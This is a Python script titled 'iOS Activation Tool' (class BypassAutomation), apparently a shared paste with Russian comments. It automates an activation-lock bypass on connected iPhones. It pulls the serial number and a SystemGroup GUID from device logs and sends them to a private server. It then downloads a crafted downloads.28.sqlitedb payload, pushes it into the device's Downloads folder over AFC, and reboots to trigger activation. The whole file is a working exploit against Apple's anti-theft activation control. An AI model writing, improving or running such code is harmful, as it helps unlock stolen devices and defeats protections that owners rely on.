activator.py 14 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355
  1. import sys
  2. import os
  3. import time
  4. import subprocess
  5. import re
  6. import shutil
  7. import sqlite3
  8. import atexit
  9. import urllib.parse
  10. import json # Добавляем для работы с JSON
  11. class Style:
  12. RESET = '\033[0m'
  13. BOLD = '\033[1m'
  14. DIM = '\033[2m'
  15. RED = '\033[0;31m'
  16. GREEN = '\033[0;32m'
  17. YELLOW = '\033[1;33m'
  18. BLUE = '\033[0;34m'
  19. MAGENTA = '\033[0;35m'
  20. CYAN = '\033[0;36m'
  21. class BypassAutomation:
  22. def __init__(self):
  23. self.api_url = "http://192.168.0.103:8000/get2.php" # Твой URL
  24. self.timeouts = {
  25. 'asset_wait': 300,
  26. 'asset_delete_delay': 15,
  27. 'reboot_wait': 300,
  28. 'syslog_collect': 180
  29. }
  30. self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}")
  31. self.afc_mode = None
  32. self.device_info = {}
  33. self.guid = None
  34. atexit.register(self._cleanup)
  35. def log(self, msg, level='info'):
  36. if level == 'info':
  37. print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
  38. elif level == 'error':
  39. print(f"{Style.RED}[✗]{Style.RESET} {msg}")
  40. elif level == 'warn':
  41. print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
  42. elif level == 'step':
  43. print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
  44. print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}")
  45. print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
  46. elif level == 'detail':
  47. print(f"{Style.DIM} ╰─▶{Style.RESET} {msg}")
  48. elif level == 'success':
  49. print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
  50. def _run_cmd(self, cmd, timeout=None):
  51. try:
  52. res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
  53. return res.returncode, res.stdout.strip(), res.stderr.strip()
  54. except subprocess.TimeoutExpired:
  55. return 124, "", "Timeout"
  56. except Exception as e:
  57. return 1, "", str(e)
  58. def verify_dependencies(self):
  59. self.log("Verifying System Requirements...", "step")
  60. if shutil.which("ifuse"):
  61. self.afc_mode = "ifuse"
  62. else:
  63. self.afc_mode = "pymobiledevice3"
  64. self.log(f"AFC Transfer Mode: {self.afc_mode}", "info")
  65. def mount_afc(self):
  66. if self.afc_mode != "ifuse":
  67. return True
  68. os.makedirs(self.mount_point, exist_ok=True)
  69. code, out, _ = self._run_cmd(["mount"])
  70. if self.mount_point in out:
  71. return True
  72. for i in range(5):
  73. code, _, _ = self._run_cmd(["ifuse", self.mount_point])
  74. if code == 0:
  75. return True
  76. time.sleep(2)
  77. self.log("Failed to mount via ifuse", "error")
  78. return False
  79. def unmount_afc(self):
  80. if self.afc_mode == "ifuse" and os.path.exists(self.mount_point):
  81. self._run_cmd(["umount", self.mount_point])
  82. try:
  83. os.rmdir(self.mount_point)
  84. except OSError:
  85. pass
  86. def _cleanup(self):
  87. """Ensure cleanup on exit"""
  88. self.unmount_afc()
  89. def detect_device(self):
  90. self.log("Detecting Device...", "step")
  91. code, out, err = self._run_cmd(["ideviceinfo"])
  92. if code != 0:
  93. self.log(f"Device not found. Error: {err or 'Unknown'}", "error")
  94. sys.exit(1)
  95. info = {}
  96. for line in out.splitlines():
  97. if ": " in line:
  98. key, val = line.split(": ", 1)
  99. info[key.strip()] = val.strip()
  100. self.device_info = info
  101. print(f"\n{Style.BOLD}Device: {info.get('ProductType','Unknown')} (iOS {info.get('ProductVersion','?')}){Style.RESET}")
  102. print(f"UDID: {info.get('UniqueDeviceID','?')}")
  103. if info.get('ActivationState') == 'Activated':
  104. print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
  105. def get_guid_manual(self):
  106. """Ручной ввод GUID с валидацией"""
  107. print(f"\n{Style.YELLOW}⚠ GUID Input Required{Style.RESET}")
  108. print(f" Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
  109. print(f" Example: 2A22A82B-C342-444D-972F-5270FB5080DF")
  110. UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE)
  111. while True:
  112. guid_input = input(f"\n{Style.BLUE}➤ Enter SystemGroup GUID:{Style.RESET} ").strip()
  113. if UUID_PATTERN.match(guid_input):
  114. return guid_input.upper()
  115. print(f"{Style.RED}❌ Invalid format. Must be 8-4-4-4-12 hex characters (e.g. 2A22A82B-C342-444D-972F-5270FB5080DF).{Style.RESET}")
  116. def get_guid_auto(self):
  117. """Автоматическое определение GUID (опционально)"""
  118. self.log("Attempting to auto-detect GUID from logs...", "detail")
  119. udid = self.device_info['UniqueDeviceID']
  120. log_path = f"{udid}.logarchive"
  121. if os.path.exists(log_path):
  122. shutil.rmtree(log_path)
  123. code, _, _ = self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=180)
  124. logs = ""
  125. if code == 0 and os.path.exists(log_path):
  126. tmp = "final.logarchive"
  127. if os.path.exists(tmp):
  128. shutil.rmtree(tmp)
  129. shutil.move(log_path, tmp)
  130. _, logs, _ = self._run_cmd(["/usr/bin/log", "show", "--style", "syslog", "--archive", tmp])
  131. shutil.rmtree(tmp)
  132. else:
  133. self.log("Log archive failed — falling back to live syslog (60s)...", "warn")
  134. try:
  135. proc = subprocess.Popen(
  136. ["pymobiledevice3", "syslog", "live"],
  137. stdout=subprocess.PIPE,
  138. stderr=subprocess.PIPE,
  139. text=True
  140. )
  141. time.sleep(60)
  142. proc.terminate()
  143. logs, _ = proc.communicate()
  144. except Exception as e:
  145. self.log(f"Live syslog failed: {e}", "error")
  146. return None
  147. guid_pattern = re.compile(r'SystemGroup/([0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12})/')
  148. for line in logs.splitlines():
  149. if "BLDatabaseManager" in line or "systemgroup" in line.lower():
  150. match = guid_pattern.search(line)
  151. if match:
  152. return match.group(1).upper()
  153. return None
  154. # Новая функция: Получаем все URL от сервера
  155. def get_all_urls_from_server(self, prd, guid, sn):
  156. """Запрашивает у сервера все три URL (stage1, stage2, stage3)"""
  157. params = f"prd={prd}&guid={guid}&sn={sn}"
  158. url = f"{self.api_url}?{params}"
  159. self.log(f"Requesting all URLs from server: {url}", "detail")
  160. # Используем curl для получения JSON
  161. code, out, err = self._run_cmd(["curl", "-s", url])
  162. if code != 0:
  163. self.log(f"Server request failed: {err}", "error")
  164. return None, None, None
  165. try:
  166. data = json.loads(out)
  167. if data.get('success'):
  168. stage1_url = data['links']['step1_fixedfile']
  169. stage2_url = data['links']['step2_bldatabase']
  170. stage3_url = data['links']['step3_final']
  171. return stage1_url, stage2_url, stage3_url
  172. else:
  173. self.log("Server returned error response", "error")
  174. return None, None, None
  175. except json.JSONDecodeError:
  176. self.log("Server did not return valid JSON", "error")
  177. return None, None, None
  178. def run(self):
  179. os.system('clear')
  180. print(f"{Style.BOLD}{Style.MAGENTA}iOS Activation Tool - Professional Edition{Style.RESET}\n")
  181. self.verify_dependencies()
  182. self.detect_device()
  183. print(f"\n{Style.CYAN}GUID Detection Options:{Style.RESET}")
  184. print(f" 1. {Style.GREEN}Auto-detect from device logs{Style.RESET}")
  185. print(f" 2. {Style.YELLOW}Manual input{Style.RESET}")
  186. choice = input(f"\n{Style.BLUE}➤ Choose option (1/2):{Style.RESET} ").strip()
  187. if choice == "1":
  188. self.guid = self.get_guid_auto()
  189. if self.guid:
  190. self.log(f"Auto-detected GUID: {self.guid}", "success")
  191. else:
  192. self.log("Could not auto-detect GUID, falling back to manual input", "warn")
  193. self.guid = self.get_guid_manual()
  194. else:
  195. self.guid = self.get_guid_manual()
  196. self.log(f"Using GUID: {self.guid}", "info")
  197. input(f"\n{Style.YELLOW}Press Enter to deploy payload with this GUID...{Style.RESET}")
  198. # 1. Initial Reboot
  199. self.log("Performing initial reboot...", "step")
  200. code, _, err = self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
  201. if code != 0:
  202. self.log(f"Reboot command failed: {err}", "warn")
  203. else:
  204. self.log("Reboot command sent, waiting 30 seconds...", "info")
  205. time.sleep(30)
  206. # 2. API Call & Get All URLs
  207. self.log("Requesting All Payload Stages from Server...", "step")
  208. prd = self.device_info['ProductType']
  209. sn = self.device_info['SerialNumber']
  210. stage1_url, stage2_url, stage3_url = self.get_all_urls_from_server(prd, self.guid, sn)
  211. if not stage1_url or not stage2_url or not stage3_url:
  212. self.log("Failed to get URLs from server", "error")
  213. sys.exit(1)
  214. self.log(f"Stage1 URL: {stage1_url}", "detail")
  215. self.log(f"Stage2 URL: {stage2_url}", "detail")
  216. self.log(f"Stage3 URL: {stage3_url}", "detail")
  217. # 3. Pre-download all stages
  218. self.log("Pre-loading all payload stages...", "step")
  219. stages = [
  220. ("stage1", stage1_url),
  221. ("stage2", stage2_url),
  222. ("stage3", stage3_url)
  223. ]
  224. for stage_name, stage_url in stages:
  225. self.log(f"Pre-loading: {stage_name}...", "detail")
  226. code, http_code, _ = self._run_cmd(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", stage_url])
  227. if http_code != "200":
  228. self.log(f"Warning: Failed to pre-load {stage_name} (HTTP {http_code})", "warn")
  229. else:
  230. self.log(f"Successfully pre-loaded {stage_name}", "info")
  231. time.sleep(1)
  232. # 4. Download & Validate final payload (stage3)
  233. self.log("Downloading final payload...", "step")
  234. local_db = "downloads.28.sqlitedb"
  235. if os.path.exists(local_db):
  236. os.remove(local_db)
  237. self.log(f"Downloading from: {stage3_url}...", "info")
  238. code, _, err = self._run_cmd(["curl", "-L", "-o", local_db, stage3_url])
  239. if code != 0:
  240. self.log(f"Download failed: {err}", "error")
  241. sys.exit(1)
  242. # Validate database
  243. self.log("Validating payload database...", "detail")
  244. conn = sqlite3.connect(local_db)
  245. try:
  246. res = conn.execute("SELECT count(*) FROM sqlite_master WHERE type='table' AND name='asset'")
  247. if res.fetchone()[0] == 0:
  248. raise Exception("Invalid DB - no asset table found")
  249. res = conn.execute("SELECT COUNT(*) FROM asset")
  250. count = res.fetchone()[0]
  251. if count == 0:
  252. raise Exception("Invalid DB - no records in asset table")
  253. self.log(f"Database validation passed - {count} records found", "info")
  254. res = conn.execute("SELECT pid, url, local_path FROM asset")
  255. for row in res.fetchall():
  256. self.log(f"Record {row[0]}: {row[1]} -> {row[2]}", "detail")
  257. except Exception as e:
  258. self.log(f"Invalid payload received: {e}", "error")
  259. sys.exit(1)
  260. finally:
  261. conn.close()
  262. # 5. Upload
  263. self.log("Uploading Payload via AFC...", "step")
  264. target = "/Downloads/downloads.28.sqlitedb"
  265. if self.afc_mode == "ifuse":
  266. if not self.mount_afc():
  267. self.log("Mounting failed — falling back to pymobiledevice3", "warn")
  268. self.afc_mode = "pymobiledevice3"
  269. if self.afc_mode == "ifuse":
  270. fpath = self.mount_point + target
  271. if os.path.exists(fpath):
  272. os.remove(fpath)
  273. shutil.copy(local_db, fpath)
  274. self.log("Uploaded via ifuse", "info")
  275. else:
  276. self._run_cmd(["pymobiledevice3", "afc", "rm", target])
  277. code, _, err = self._run_cmd(["pymobiledevice3", "afc", "push", local_db, target])
  278. if code != 0:
  279. self.log(f"AFC upload failed: {err}", "error")
  280. sys.exit(1)
  281. self.log("Uploaded via pymobiledevice3", "info")
  282. self.log("✅ Payload Deployed Successfully", "success")
  283. # 6. Final Reboot
  284. self.log("Rebooting device to trigger activation...", "step")
  285. code, _, err = self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
  286. if code != 0:
  287. self.log(f"Reboot command failed: {err}. Device may reboot anyway.", "warn")
  288. else:
  289. self.log("Reboot command sent.", "info")
  290. print(f"\n{Style.GREEN}Process Complete.{Style.RESET}")
  291. print(f"→ Device will process payload on boot.")
  292. print(f"→ Monitor logs with: {Style.CYAN}idevicesyslog | grep -E 'itunesstored|bookassetd'{Style.RESET}")
  293. print(f"→ Used GUID: {Style.BOLD}{self.guid}{Style.RESET}")
  294. print(f"→ All stages pre-loaded: stage1, stage2, stage3")
  295. if __name__ == "__main__":
  296. try:
  297. BypassAutomation().run()
  298. except KeyboardInterrupt:
  299. print(f"\n{Style.YELLOW}Interrupted by user.{Style.RESET}")
  300. sys.exit(0)
  301. except Exception as e:
  302. print(f"{Style.RED}Fatal error: {e}{Style.RESET}")
  303. sys.exit(1)